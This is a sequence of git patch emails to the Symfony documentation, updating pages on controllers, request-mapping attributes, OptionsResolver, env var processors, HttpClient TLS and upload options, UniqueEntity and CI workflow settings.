                 return new Response(sprintf('Hello %s!', $name));
             }
@@ -228,14 +230,14 @@ service and use it directly::
 
     class HelloController
     {
-        private $twig;
+        private Environment $twig;
 
         public function __construct(Environment $twig)
         {
             $this->twig = $twig;
         }
 
-        public function index($name)
+        public function index(string $name): Response
         {
             $content = $this->twig->render(
                 'hello/index.html.twig',

From 2cc8f4b27b9fd82094f3c100599d5ed4ede0573f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 May 2023 13:08:49 +0200
Subject: [PATCH 4643/7107] Minor tweak

---
 components/intl.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/intl.rst b/components/intl.rst
index 67813ef7951..5ec6c4b7011 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -406,7 +406,7 @@ The data needed to store the transliteration of all emojis (~5,000) into all
 languages take a considerable disk space. If you need to save disk space (e.g.
 because you deploy to some service with tight size constraints), run this command
 (e.g. as an automated script after ``composer install``) to compress the internal
-Symfony emoji files using the PHP ``zlib`` extension:
+Symfony emoji data files using the PHP ``zlib`` extension:
 
 .. code-block:: terminal
 

From ae34e2c12fa9f85185292dcd9b4bd033517babcc Mon Sep 17 00:00:00 2001
From: Jon Green <jon@tjs.co.uk>
Date: Mon, 15 May 2023 15:04:49 +0100
Subject: [PATCH 4644/7107] Add missing `use` statement to databases & doctrine
 page

---
 doctrine.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/doctrine.rst b/doctrine.rst
index cca47d1b0f4..d84b20f6583 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -813,6 +813,7 @@ with any PHP model::
 
     use App\Entity\Product;
     use App\Repository\ProductRepository;
+    use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
     // ...

From 09914bc571397b0e9e14dd3033f88918cad812f3 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 10 May 2023 22:06:36 +0200
Subject: [PATCH 4645/7107] [OptionsResolver] add `ignoreUndefined()`

---
 components/options_resolver.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index fb459f3d9cd..47c15317957 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -842,6 +842,29 @@ the option::
 This closure receives as argument the value of the option after validating it
 and before normalizing it when the option is being resolved.
 
+Ignore not defined Options
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, all options are resolved, validated and an :class:`Symfony\\Component\\OptionsResolver\\Exception\\UndefinedOptionsException`
+is thrown if an unknown option is passed. You can ignore not defined options by using the
+:method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::ignoreUndefined` method::
+
+    // ...
+    $resolver
+        ->setDefined(['hostname'])
+        ->setIgnoreUndefined(true)
+    ;
+
+    // option "version" will be ignored
+    $resolver->resolve([
+        'hostname' => 'acme/package',
+        'version'  => '1.2.3'
+    ]);
+
+.. versionadded:: 6.3
+
+    The ``ignoreUndefined`` method was introduced in Symfony 6.3.
+
 Chaining Option Configurations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 90ff99b876be20fead963396a6e8c20394933de5 Mon Sep 17 00:00:00 2001
From: pavdovlatov <129055488+pavdovlatov@users.noreply.github.com>
Date: Wed, 17 May 2023 14:20:58 +0300
Subject: [PATCH 4646/7107] Fixed typo in messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index a1d76eb3e57..ba8e4a76936 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2484,7 +2484,7 @@ of the process. For each, the event class is the event name:
 
 .. versionadded:: 6.2
 
-    The ``WorkerRateLimitedEvent`` was introduced in Symfony 6.3.
+    The ``WorkerRateLimitedEvent`` was introduced in Symfony 6.2.
 
 Multiple Buses, Command & Event Buses
 -------------------------------------

From 02d5477d1f4ee3557069a20a1c638c5e59acabb7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 19 May 2023 10:17:23 +0200
Subject: [PATCH 4647/7107] Use DOCtor-RST 1.46.1

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 79f2c12e4fb..744cc957c6c 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.45.0
+                uses: docker://oskarstark/doctor-rst:1.46.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From e32ee28127f277f4ccb208046541004f08328b3c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 19 May 2023 10:22:52 +0200
Subject: [PATCH 4648/7107] Enable new DOCtor rule
 `no_duplicate_use_statements`

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 318d55b688a..a1623233d96 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -34,6 +34,7 @@ rules:
     no_brackets_in_method_directive: ~
     no_composer_req: ~
     no_directive_after_shorthand: ~
+    no_duplicate_use_statements: ~
     no_explicit_use_of_code_block_php: ~
     no_inheritdoc: ~
     no_merge_conflict: ~

From e419c65fb40eebceef743bfc14e6c6b8ba6ab254 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 19 May 2023 21:56:44 +0200
Subject: [PATCH 4649/7107] Use `ubuntu-latest`

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 744cc957c6c..492d38ff045 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -79,7 +79,7 @@ jobs:
 
     symfony-code-block-checker:
         name: Code Blocks
-        runs-on: Ubuntu-20.04
+        runs-on: ubuntu-latest
         continue-on-error: true
         steps:
           - name: Checkout code

From e73b674985714d18b328c6bd1a6f6d1ed3732424 Mon Sep 17 00:00:00 2001
From: uncaught <uncaught42@gmail.com>
Date: Mon, 22 May 2023 08:36:34 +0200
Subject: [PATCH 4650/7107] Fix non-working examples of `json` and `csv` env
 var processors (closes https://github.com/symfony/symfony/issues/50341).

---
 configuration/env_var_processors.rst | 32 ++++++++++++----------------
 1 file changed, 14 insertions(+), 18 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index cc6782baabb..0a76793cc2c 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -262,9 +262,8 @@ Symfony provides the following env var processors:
 
             # config/packages/framework.yaml
             parameters:
-                env(TRUSTED_HOSTS): '["10.0.0.1", "10.0.0.2"]'
-            framework:
-                trusted_hosts: '%env(json:TRUSTED_HOSTS)%'
+                env(ALLOWED_LANGUAGES): '["en","de","es"]'
+                app_allowed_languages: '%env(json:ALLOWED_LANGUAGES)%'
 
         .. code-block:: xml
 
@@ -279,10 +278,9 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
                 <parameters>
-                    <parameter key="env(TRUSTED_HOSTS)">["10.0.0.1", "10.0.0.2"]</parameter>
+                    <parameter key="env(ALLOWED_LANGUAGES)">["en","de","es"]</parameter>
+                    <parameter key="app_allowed_languages">%env(json:ALLOWED_LANGUAGES)%</parameter>
                 </parameters>
-
-                <framework:config trusted-hosts="%env(json:TRUSTED_HOSTS)%"/>
             </container>
 
         .. code-block:: php
@@ -293,9 +291,9 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
-                $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
-                $framework->trustedHosts(env('TRUSTED_HOSTS')->json());
+            return static function (ContainerBuilder $container) {
+                $container->setParameter('env(ALLOWED_LANGUAGES)', '["en","de","es"]');
+                $container->setParameter('app_allowed_languages', '%env(json:ALLOWED_LANGUAGES)%');
             };
 
 ``env(resolve:FOO)``
@@ -348,9 +346,8 @@ Symfony provides the following env var processors:
 
             # config/packages/framework.yaml
             parameters:
-                env(TRUSTED_HOSTS): "10.0.0.1,10.0.0.2"
-            framework:
-               trusted_hosts: '%env(csv:TRUSTED_HOSTS)%'
+                env(ALLOWED_LANGUAGES): "en,de,es"
+                app_allowed_languages: '%env(csv:ALLOWED_LANGUAGES)%'
 
         .. code-block:: xml
 
@@ -365,10 +362,9 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
                 <parameters>
-                    <parameter key="env(TRUSTED_HOSTS)">10.0.0.1,10.0.0.2</parameter>
+                    <parameter key="env(ALLOWED_LANGUAGES)">en,de,es</parameter>
+                    <parameter key="app_allowed_languages">%env(csv:ALLOWED_LANGUAGES)%</parameter>
                 </parameters>
-
-                <framework:config trusted-hosts="%env(csv:TRUSTED_HOSTS)%"/>
             </container>
 
         .. code-block:: php
@@ -379,9 +375,9 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
-                $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
-                $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
+            return static function (ContainerBuilder $container) {
+                $container->setParameter('env(ALLOWED_LANGUAGES)', 'en,de,es');
+                $container->setParameter('app_allowed_languages', '%env(csv:ALLOWED_LANGUAGES)%');
             };
 
 ``env(file:FOO)``

From 84b52284bc5f3509f7daf3534a2f9e2337db5104 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 19 May 2023 10:05:14 +0200
Subject: [PATCH 4651/7107] Use DOCtor-RST 1.47.1

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 744cc957c6c..0f17933d8ae 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.46.1
+                uses: docker://oskarstark/doctor-rst:1.47.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 64cb70171f51b82d747bd396ce1cb5ad498d2a15 Mon Sep 17 00:00:00 2001
From: Bruno Casali <brunoocasali@gmail.com>
Date: Fri, 12 May 2023 12:46:42 -0300
Subject: [PATCH 4652/7107] [Serializer] Fix data type according to the field
 name on serializer.rst

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index b7b62efa843..7bf972e908e 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -312,7 +312,7 @@ to your class::
         private $name;
 
         /**
-         * @ORM\Column(type="integer")
+         * @ORM\Column(type="text")
          * @Groups({"show_product"})
          */
         private $description;

From 6f74096cdc0105dba561bac1637159791b747d36 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Wed, 17 May 2023 20:22:49 +0200
Subject: [PATCH 4653/7107] [FormCollection] mention Symfony UX live collection

---
 form/form_collections.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 540f8d50377..601d49f689d 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -213,6 +213,11 @@ Previously you added two tags to your task in the controller. Now let the users
 add as many tag forms as they need directly in the browser. This requires a bit
 of JavaScript code.
 
+.. tip::
+
+    You can leverage Symfony UX via https://ux.symfony.com/live-component/demos/form-collection-type
+    if you do not want to handle the JavaScript code yourself.
+
 But first, you need to let the form collection know that instead of exactly two,
 it will receive an *unknown* number of tags. Otherwise, you'll see a
 *"This form should not contain extra fields"* error. This is done with the

From 7f6a8e2cfdb72b607d0f2c48af0a8c98868f275b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 May 2023 10:59:14 +0200
Subject: [PATCH 4654/7107] Tweaks

---
 form/form_collections.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 601d49f689d..a2726ed1ed6 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -215,8 +215,9 @@ of JavaScript code.
 
 .. tip::
 
-    You can leverage Symfony UX via https://ux.symfony.com/live-component/demos/form-collection-type
-    if you do not want to handle the JavaScript code yourself.
+    Instead of writing the needed JavaScript code yourself, you can use Symfony
+    UX to implement this feature with only PHP and Twig code. See the
+    `Symfony UX Demo of Form Collections`_.
 
 But first, you need to let the form collection know that instead of exactly two,
 it will receive an *unknown* number of tags. Otherwise, you'll see a
@@ -662,3 +663,4 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection
 .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html
+.. _`Symfony UX Demo of Form Collections`: https://ux.symfony.com/live-component/demos/form-collection-type

From 1b989b8e1ae798c3e706efb14c489cf61df4ab72 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 May 2023 12:27:57 +0200
Subject: [PATCH 4655/7107] [OptionsResolver] Minor tweak

---
 components/options_resolver.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 47c15317957..1d72bdae1e5 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -845,8 +845,9 @@ and before normalizing it when the option is being resolved.
 Ignore not defined Options
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, all options are resolved, validated and an :class:`Symfony\\Component\\OptionsResolver\\Exception\\UndefinedOptionsException`
-is thrown if an unknown option is passed. You can ignore not defined options by using the
+By default, all options are resolved and validated, resulting in a
+:class:`Symfony\\Component\\OptionsResolver\\Exception\\UndefinedOptionsException`
+if an unknown option is passed. You can ignore not defined options by using the
 :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::ignoreUndefined` method::
 
     // ...
@@ -863,7 +864,7 @@ is thrown if an unknown option is passed. You can ignore not defined options by
 
 .. versionadded:: 6.3
 
-    The ``ignoreUndefined`` method was introduced in Symfony 6.3.
+    The ``ignoreUndefined()`` method was introduced in Symfony 6.3.
 
 Chaining Option Configurations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 0ce171c00aafb36c1b4cc38ef0b808570f6b8548 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 May 2023 12:35:34 +0200
Subject: [PATCH 4656/7107] [HttpClient] Document the crypto_method option

---
 reference/configuration/framework.rst | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 937ed629d79..46453bbdf64 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1027,9 +1027,21 @@ ciphers
 
 **type**: ``string``
 
-A list of the names of the ciphers allowed for the SSL/TLS connections. They
+A list of the names of the ciphers allowed for the TLS connections. They
 can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
 
+crypto_method
+.............
+
+**type**: ``integer``
+
+The minimum version of TLS to accept. The value must be one of the
+``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP.
+
+.. versionadded:: 6.3
+
+    The ``crypto_method`` option was introduced in Symfony 6.3.
+
 delay
 .....
 
@@ -1183,7 +1195,7 @@ peer_fingerprint
 
 **type**: ``array``
 
-When negotiating a TLS or SSL connection, the server sends a certificate
+When negotiating a TLS connection, the server sends a certificate
 indicating its identity. A public key is extracted from this certificate and if
 it does not exactly match any of the public keys provided in this option, the
 connection is aborted before sending or receiving any data.
@@ -1265,7 +1277,7 @@ verify_peer
 
 **type**: ``boolean`` **default**: ``true``
 
-If ``true``, the certificate sent by other servers when negotiating a TLS or SSL
+If ``true``, the certificate sent by other servers when negotiating a TLS
 connection is verified for authenticity. Authenticating the certificate is not
 enough to be sure about the server, so you should combine this with the
 ``verify_host`` option.

From cf9788c39d52cc456a96f7e054bb3b9d0a55e37c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 22 May 2023 15:50:11 +0200
Subject: [PATCH 4657/7107] [HttpKernel] Add `#[MapQueryParameter]`,
 `#[MapQueryString]` and `#[MapRequestPayload]`

---
 controller.rst           | 152 +++++++++++++++++++++++++++++++++++++++
 reference/attributes.rst |   3 +
 2 files changed, 155 insertions(+)

diff --git a/controller.rst b/controller.rst
index 9f861a75708..db3e635a8fa 100644
--- a/controller.rst
+++ b/controller.rst
@@ -336,6 +336,157 @@ object. To access it in your controller, add it as an argument and
 :ref:`Keep reading <request-object-info>` for more information about using the
 Request object.
 
+.. _controller_map-request:
+
+Automatic Mapping Of The Request
+--------------------------------
+
+It is possible to automatically map request's payload and/or query parameters to
+your controller's action arguments with attributes.
+
+Mapping Query Parameters Individually
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Let's say a user sends you a request with the following query string:
+``https://example.com/dashboard?firstName=John&lastName=Smith&age=27``.
+Thanks to the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter`
+attribute, arguments of your controller's action can be automatically fulfilled::
+
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryParameter;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryParameter] string $firstName,
+        #[MapQueryParameter] string $lastName,
+        #[MapQueryParameter] int $age,
+    ): Response
+    {
+        // ...
+    }
+
+``#[MapQueryParameter]`` can take an optional argument called ``filter``. You can use the
+`Validate Filters`_ constants defined in PHP::
+
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryParameter;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryParameter(filter: \FILTER_VALIDATE_REGEXP, options: ['regexp' => '/^\w++$/'])] string $firstName,
+        #[MapQueryParameter] string $lastName,
+        #[MapQueryParameter(filter: \FILTER_VALIDATE_INT)] int $age,
+    ): Response
+    {
+        // ...
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter` attribute
+    was introduced in Symfony 6.3.
+
+Mapping The Whole Query String
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Another possibility is to map the entire query string into an object that will hold
+available query parameters. Let's say you declare the following DTO with its
+optional validation constraints::
+
+    namespace App\Model;
+
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    class UserDTO
+    {
+        public function __construct(
+            #[Assert\NotBlank]
+            public string $firstName,
+
+            #[Assert\NotBlank]
+            public string $lastName,
+
+            #[Assert\GreaterThan(18)]
+            public int $age,
+        ) {
+        }
+    }
+
+You can then use the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString`
+attribute in your controller::
+
+    use App\Model\UserDto;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryString;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryString] UserDTO $userDto
+    ): Response
+    {
+        // ...
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute
+    was introduced in Symfony 6.3.
+
+Mapping Request Payload
+~~~~~~~~~~~~~~~~~~~~~~~
+
+When creating an API and dealing with other HTTP methods than ``GET`` (like
+``POST`` or ``PUT``), user's data are not stored in the query string
+but directly in the request payload, like this:
+
+.. code-block:: json
+
+    {
+        "firstName": "John",
+        "lastName": "Smith",
+        "age": 28
+    }
+
+In this case, it is also possible to directly map this payload to your DTO by
+using the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload`
+attribute::
+
+    use App\Model\UserDto;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapRequestPayload;
+
+    // ...
+
+    public function dashboard(
+        #[MapRequestPayload] UserDTO $userDto
+    ): Response
+    {
+        // ...
+    }
+
+This attribute allows you to customize the serialization context as well
+as the class responsible of doing the mapping between the request and
+your DTO::
+
+    public function dashboard(
+        #[MapRequestPayload(
+            serializationContext: ['...'],
+            resolver: App\Resolver\UserDtoResolver
+        )]
+        UserDTO $userDto
+    ): Response
+    {
+        // ...
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` attribute
+    was introduced in Symfony 6.3.
+
 Managing the Session
 --------------------
 
@@ -604,3 +755,4 @@ Learn more about Controllers
 .. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
 .. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 .. _`FrankenPHP`: https://frankenphp.dev
+.. _`Validate Filters`: https://www.php.net/manual/en/filter.filters.validate.php
diff --git a/reference/attributes.rst b/reference/attributes.rst
index f76c9674016..5598691682e 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -57,6 +57,9 @@ HttpKernel
 * :class:`Symfony\\Component\\HttpKernel\\Attribute\\AsPinnedValueResolver`
 * :ref:`Cache <http-cache-expiration-intro>`
 * :ref:`MapDateTime <functionality-shipped-with-the-httpkernel>`
+* :ref:`MapQueryParameter <controller_map-request>`
+* :ref:`MapQueryString <controller_map-request>`
+* :ref:`MapRequestPayload <controller_map-request>`
 * :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver`
 * :ref:`WithHttpStatus <framework_exceptions>`
 * :ref:`WithLogLevel <framework_exceptions>`

From a0bb5bf1e84362226a141768cead7ef167a73f05 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 May 2023 14:58:59 +0200
Subject: [PATCH 4658/7107] [Validator] Update the ignoreNull option of
 UniqueEntity constraint

---
 reference/constraints/UniqueEntity.rst | 87 ++++++++++++++++++++++++++
 1 file changed, 87 insertions(+)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 9f3d810eb01..328ea8790da 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -253,11 +253,98 @@ each with a single field.
 
 **type**: ``boolean`` **default**: ``true``
 
+``ignoreNull``
+~~~~~~~~~~~~~~
+
+**type**: ``boolean`` | ``string`` | ``array`` **default**: ``true``
+
 If this option is set to ``true``, then the constraint will allow multiple
 entities to have a ``null`` value for a field without failing validation.
 If set to ``false``, only one ``null`` value is allowed - if a second entity
 also has a ``null`` value, validation would fail.
 
+In addition to ignoring the ``null`` values of all unique fields, you can also use
+this option to specify one or more fields to only ignore ``null`` values on them:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[ORM\Entity]
+        #[UniqueEntity(fields: ['email', 'phoneNumber'], ignoreNull: 'phoneNumber')]
+        class User
+        {
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\User:
+            constraints:
+                - Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity:
+                      fields: ['email', 'phoneNumber']
+                      ignoreNull: 'phoneNumber'
+            properties:
+                # ...
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\User">
+                <constraint name="Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity">
+                    <option name="fields">email</option>
+                    <option name="fields">phoneNumber</option>
+                    <option name="ignore-null">phoneNumber</option>
+                </constraint>
+                <!-- ... -->
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addConstraint(new UniqueEntity([
+                    'fields' => ['email', 'phoneNumber'],
+                    'ignoreNull' => 'phoneNumber',
+                ]));
+
+                // ...
+            }
+        }
+
+.. caution::
+
+    If you ``ignoreNull`` on fields that are part of a unique index in your
+    database, you might see insertion errors when your application attempts to
+    persist entities that the ``UniqueEntity`` constraint considers valid.
+
+.. versionadded:: 6.3
+
+    The option to ignore ``null`` values for specific fields was introduced
+    in Symfony 6.3.
+
 ``message``
 ~~~~~~~~~~~
 

From 3f996caf1c2c09daa377490ae193a13404f49000 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 May 2023 12:19:05 +0200
Subject: [PATCH 4659/7107] [HttpClient] Support file uploads by nesting
 resource streams in body option

---
 http_client.rst | 29 +++++++++++++++--------------
 1 file changed, 15 insertions(+), 14 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 693fc3dc59e..295ed2668ee 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -607,22 +607,23 @@ A generator or any ``Traversable`` can also be used instead of a closure.
 
         $decodedPayload = $response->toArray();
 
-To submit a form with file uploads, it is your responsibility to encode the body
-according to the ``multipart/form-data`` content-type. The
-:doc:`Symfony Mime </components/mime>` component makes it a few lines of code::
+To submit a form with file uploads, pass the file handle to the ``body`` option::
 
-    use Symfony\Component\Mime\Part\DataPart;
-    use Symfony\Component\Mime\Part\Multipart\FormDataPart;
+    $fileHandle = fopen('/path/to/the/file' 'r');
+    $client->request('POST', 'https://...', ['body' => ['the_file' => $fileHandle]]);
 
-    $formFields = [
-        'regular_field' => 'some value',
-        'file_field' => DataPart::fromPath('/path/to/uploaded/file'),
-    ];
-    $formData = new FormDataPart($formFields);
-    $client->request('POST', 'https://...', [
-        'headers' => $formData->getPreparedHeaders()->toArray(),
-        'body' => $formData->bodyToIterable(),
-    ]);
+By default, this code will populate the filename and content-type with the data
+of the opened file, but you can configure both with the PHP streaming configuration::
+
+    stream_context_set_option($fileHandle, 'http', 'filename', 'the-name.txt');
+    stream_context_set_option($fileHandle, 'http', 'content_type', 'my/content-type');
+
+.. versionadded:: 6.3
+
+    The feature to upload files using handles was introduced in Symfony 6.3.
+    In previous Symfony versions you had to encode the body contents according
+    to the ``multipart/form-data`` content-type using the :doc:`Symfony Mime </components/mime>`
+    component.
 
 .. tip::
 

From cf36166923459de18e643d928f414c9f2508b565 Mon Sep 17 00:00:00 2001
From: Dan Barrett <dan@danbarrett.com.au>
Date: Wed, 24 May 2023 14:54:04 +1000
Subject: [PATCH 4660/7107] [Performance] Update parameter to compile-time
 prefix

---
 performance.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/performance.rst b/performance.rst
index 29f88614d05..3d1875d45b4 100644
--- a/performance.rst
+++ b/performance.rst
@@ -60,7 +60,7 @@ container into a single file, which could improve performance when using
         # config/services.yaml
         parameters:
             # ...
-            container.dumper.inline_factories: true
+            .container.dumper.inline_factories: true
 
     .. code-block:: xml
 
@@ -72,7 +72,7 @@ container into a single file, which could improve performance when using
 
             <parameters>
                 <!-- ... -->
-                <parameter key="container.dumper.inline_factories">true</parameter>
+                <parameter key=".container.dumper.inline_factories">true</parameter>
             </parameters>
         </container>
 
@@ -81,10 +81,15 @@ container into a single file, which could improve performance when using
         // config/services.php
 
         // ...
-        $container->parameters()->set('container.dumper.inline_factories', true);
+        $container->parameters()->set('.container.dumper.inline_factories', true);
 
 .. _performance-use-opcache:
 
+.. tip::
+
+    The ``.`` prefix denotes a parameter that is only used during compilation of the container.
+    See :ref:`Configuration Parameters <configuration-parameters>` for more details.
+
 Use the OPcache Byte Code Cache
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From be256a1acc52427ddc9918134e46936748365cc9 Mon Sep 17 00:00:00 2001
From: Jorick <48644518+JorickPepin@users.noreply.github.com>
Date: Wed, 24 May 2023 09:52:21 +0200
Subject: [PATCH 4661/7107] [Doctrine] Replace entityManager by objectManager

---
 doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

